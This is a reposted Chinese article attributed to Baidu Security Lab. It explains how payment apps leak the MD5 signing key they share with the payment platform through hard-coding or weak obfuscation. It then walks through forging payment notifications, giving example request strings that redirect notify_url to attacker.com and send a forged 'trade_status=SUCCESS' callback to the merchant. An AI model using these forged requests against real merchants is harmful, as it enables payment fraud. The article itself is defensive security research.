百度安全实验室:支付安全不能说的那些事儿
图4展示了最常见的情况。MD5签名密钥编码在用户App中造成密钥泄露。在对相当多的app进行逆向工程后我们发现,有部分app直接照搬一些样例代码,导致key被直接明文编码到程序中,非常容易提取。还有一部分app作者使用了一些变形手段,例如将key拆成奇数位、偶数位分别存储,或使用特定常数进行异或存储。这些简单变形在熟练的攻击者面前是徒劳的。 由于商户和支付平台共享密钥,密钥泄漏后,攻击者既可以冒充商户向支付平台发送订单消息,又可以冒充支付平台向商户发送支付结果。当然,后者更加直接(如图4)。 例如,若攻击者准备购买一件商品,其订单消息为 notify_url=http://seller.com/notify&out_trade_no=12345&seller=alice&total_fee=100&sign=XXX, 攻击者可以首先通过修改notify_url到攻击者掌控的地址,如http://attacker.com/,提交请求: notify_url=http://attacker.com/notify&out_trade_no=12345&seller=alice&total_fee=100&sign=XXX 来获得notify_url的结构。再伪造以下消息签名后发送给商户,伪造异步通知,实现免费购物。 target_url: http://seller.com/notify post_data: put_trade_no=12345&seller=alice&total_fee=100&trade_status=SUCCESS&sign=XXX. (编辑:云计算网_泰州站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |